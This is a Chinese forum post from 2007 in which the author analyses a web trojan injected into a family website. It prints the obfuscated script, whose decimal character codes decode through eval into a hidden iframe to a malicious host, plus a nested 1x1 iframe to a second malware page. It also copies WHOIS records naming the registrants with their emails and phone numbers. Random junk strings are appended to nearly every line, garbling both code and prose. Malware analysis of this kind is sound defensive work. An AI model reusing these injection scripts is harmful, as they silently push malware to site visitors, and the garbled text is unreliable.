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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, Bu?Qyz2O  
f#7=N{wm  
http://www.areway.cn/?p=175 3` D['  
N_Zd.VnY  
,Jn` qvmi  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: 4M6[5RAW{  
          w-NTw2x,&  
<script>t=’60,105,102,114,97,109,101, Tdz#,]Q   
32,115,114,99,61,104,116,116,112,58,47,47, knpdECq&k  
102,114,101,101,46,117,45,117,117,117,46,99, ~v:IgS  
110,47,101,114,114,111,114,46,104,116,109, ufw[Ei$I:  
32,119,105,100,116,104,61,49,48,48,32,104, s5Wb iOF  
101,105,103,104,116,61,48,62,60,47,105,102, zKaj<Og  
114,97,109,101,62′; bC) <K/Q9  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> rce._w }  
                                                                                                  a"t~ K  
<script>t=’60,105,102,114,97,109,101,32,115, 4%_xT o  
114,99,61,104,116,116,112,58,47,47,102,114, .!i`YT*jF  
101,101,46,117,45,117,117,117,46,99,110,47, wa`c3PQGu  
101,114,114,111,114,46,104,116,109,32,119, >p;&AaXkoG  
105,100,116,104,61,49,48,48,32,104,101,105, ;KEie@Ry  
103,104,116,61,48,62,60,47,105,102,114,97, k\dPF@~Hvl  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); :qAX9T'{t  
document.write(t);</script> % -+7=x  
                                                                                                  3)2{c  
<html xmlns=” wf\7sz  
http://www.w3.org/1999/xhtml p&)d]oV>  
“> ;mGPX~38  
<head> iC>%P&|-)|  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> 7fSNF7/+  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> 0L,!o[L*  
<title>首页 - 爱生活家庭网 XJy.xI>;  
                                                                                                                                                    BpX`49  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 fgC@(dvfk  
转换字符串后的大概内容是(谁点击后果自付): :qj;f];|  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… QP%Hwt]+  
                                                                                                                                  sX*L[3!vN  
查询玉米u-uuu.cn的详细信息: EwuRIe;D  
Domain Name: u-uuu.cn /& c2y=/'C  
ROID: 20070901s10001s64972306-cn loE;q}^  
Domain Status: ok esQ`6i  
Registrant Organization: 王雷 UWK|_RT6SA  
Registrant Name: 王雷 kCoE;)y$  
Administrative Email: czlovexs@126.com ]%FP*YU4O  
Sponsoring Registrar: 北京万网志成科技有限公司 @,c` #,F/  
Name Server:ns.yovole.com KK6z3"tk5  
Name Server:ns1.yovole.com >msQ@Ch  
Registration Date: 2007-09-01 17:54 )54a' Hp  
Expiration Date: 2008-09-01 17:54 kUT^o  
最后PING了一下地址 都没有什么…. YU)%-V\  
                                                                                                G]EI!-y  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. 0S'@(p[A  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> ~Cg7  
<script language=”javascript” src=” PX2b(fR8_O  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script iWFtb)3B  
> >ke.ZZV?  
这个玉米应该有可能是木马作者的: oR,zr  
foafau.info的详细信息: 5ug|crX  
Access to INFO WHOIS information is provided to assist persons in "O|.e`C%^  
determining the contents of a domain name registration record in the | WTWj  
Afilias registry database. The data in this record is provided by .jC5 y&  
Afilias Limited for informational purposes only, and Afilias does not kt\,$.v8  
guarantee its accuracy.  This service is intended only for query-based EA9.?F  
access. You agree that you will use this data only for lawful purposes jENC1T(  
and that, under no circumstances will you use this data to: (a) allow, HVhd#Q;  
enable, or otherwise support the transmission by e-mail, telephone, or W,H=K##6<  
facsimile of mass unsolicited, commercial advertising or solicitations 'Nuy/\[{\  
to entities other than the data recipient’s own existing customers; or P{:Zxli0  
(b) enable high volume, automated, electronic processes that send w:iMrQeJg  
queries or data to the systems of Registry Operator, a Registrar, or r ?<kWR?w  
Afilias except as reasonably necessary to register domain names or Gr)G-zE  
modify existing registrations. All rights reserved. Afilias reserves \&ZEIAe  
the right to modify these terms at any time. By submitting this query, ka ;=%*7T  
you agree to abide by this policy. JRZp 'Ln  
Domain ID:D22418703-LRMS D]rYg'  
Domain Name:FOAFAU.INFO bAN>\zG+  
Created On:20-Nov-2007 16:05:42 UTC AkdO:hVtG  
Last Updated On:20-Nov-2007 16:05:44 UTC C+jXH)|iq  
Expiration Date:20-Nov-2008 16:05:42 UTC 6K<o0=,jm2  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) j72mm!  
Status:CLIENT DELETE PROHIBITED VlSM/y5  
Status:CLIENT RENEW PROHIBITED KK4e'[Wf  
Status:CLIENT TRANSFER PROHIBITED (!J;g|58  
Status:CLIENT UPDATE PROHIBITED ^8]7  
Status:TRANSFER PROHIBITED :F#^Q%-IS  
Registrant ID:GODA-040110615 7#oq|5  
Registrant Name:liu hong V[]Pya|s+  
Registrant Organization: 8O60pB;4  
Registrant Street1:beijing 8bs'Ek{'o  
Registrant Street2: ?D_iib7  
Registrant Street3: o:"(\$  
Registrant City:beijing }bdoJ5  
Registrant State/Province: 9V&+xbR&  
Registrant Postal Code:100000 [wiB1{/Ls.  
Registrant Country:CN UL#:!J/34  
Registrant Phone:+86.860108888777 2Oyw#1tdn  
Registrant Phone Ext.: ["Tro;K#  
Registrant FAX: #CAZ}];Qx  
Registrant FAX Ext.: _*8 6  
Registrant Email:bbbshiji@163.com C!9mygI  
Admin ID:GODA-240110615 b`j9}t Z  
Admin Name:liu hong MLM/!N 7  
Admin Organization: yJO Jw o^  
Admin Street1:beijing $cwmfF2C  
Admin Street2: 4,h)<(d{  
Admin Street3: @ ,;h!vB*=  
Admin City:beijing m|x_++3  
Admin State/Province: :hW(2=%  
Admin Postal Code:100000 tX@y ]"  
Admin Country:CN _T~&kwe  
Admin Phone:+86.860108888777 VAUd^6Xdwx  
Admin Phone Ext.: PYs0w6o  
Admin FAX: 0dS(g&ZR  
Admin FAX Ext.: ?m7i7Dz   
Admin Email:bbbshiji@163.com 2G!z/OAj  
Billing ID:GODA-340110615 9HiyN>(  
Billing Name:liu hong ; lrO?sm  
Billing Organization: CR2.kuM0~  
Billing Street1:beijing G %\/[ B  
Billing Street2: &DHIYj1 i  
Billing Street3: P2iuB|B@  
Billing City:beijing P$N5j~*  
Billing State/Province: @qjN>PH~  
Billing Postal Code:100000 bi+g=cS  
Billing Country:CN *B{]  
Billing Phone:+86.860108888777 0T#z"l<L  
Billing Phone Ext.: -%P}LaC <  
Billing FAX: V m8dX?  
Billing FAX Ext.: "oFi+']*  
Billing Email:bbbshiji@163.com . .S3-(xW  
Tech ID:GODA-140110615 UzIE,A  
Tech Name:liu hong >"b\$",~6  
Tech Organization: c93 Ok|  
Tech Street1:beijing &`vThs[x  
Tech Street2: :[f[-F  
Tech Street3: MZcvr9y  
Tech City:beijing =_g#I  
Tech State/Province: i ps)-1  
Tech Postal Code:100000 p[At0Gc L  
Tech Country:CN R+e)TR7+  
Tech Phone:+86.860108888777 Dd/]?4  
Tech Phone Ext.: 9n_Rk W5g  
Tech FAX: h05FR[</  
Tech FAX Ext.: =ud~  
Tech Email:bbbshiji@163.com %hZX XpuO  
Name Server:NS27.DOMAINCONTROL.COM k q?:<!z  
Name Server:NS28.DOMAINCONTROL.COM I*(kv7(c0  
Name Server: |r?0!;bN0  
Name Server: P O0Od z  
Name Server: m$(OQ,E  
Name Server: O'#;Ge/,  
Name Server: .]zZwB  
Name Server: 7t}s5}Z 4  
Name Server: w L>*WLfR  
Name Server: 4 x4[  
Name Server: h)j#?\KYm9  
Name Server: f?eq-/UR  
Name Server: w2/3[VZ}l  
                                                                                                          +opym!\  
接着下载每个文件里面的代码: hJSWh5]  
一步一步看.. YDYNAOThnb  
)D'# >!Y  
be]/ROP>H  
3&{6+A  
6-/W4L)?>  
qvGm JN0  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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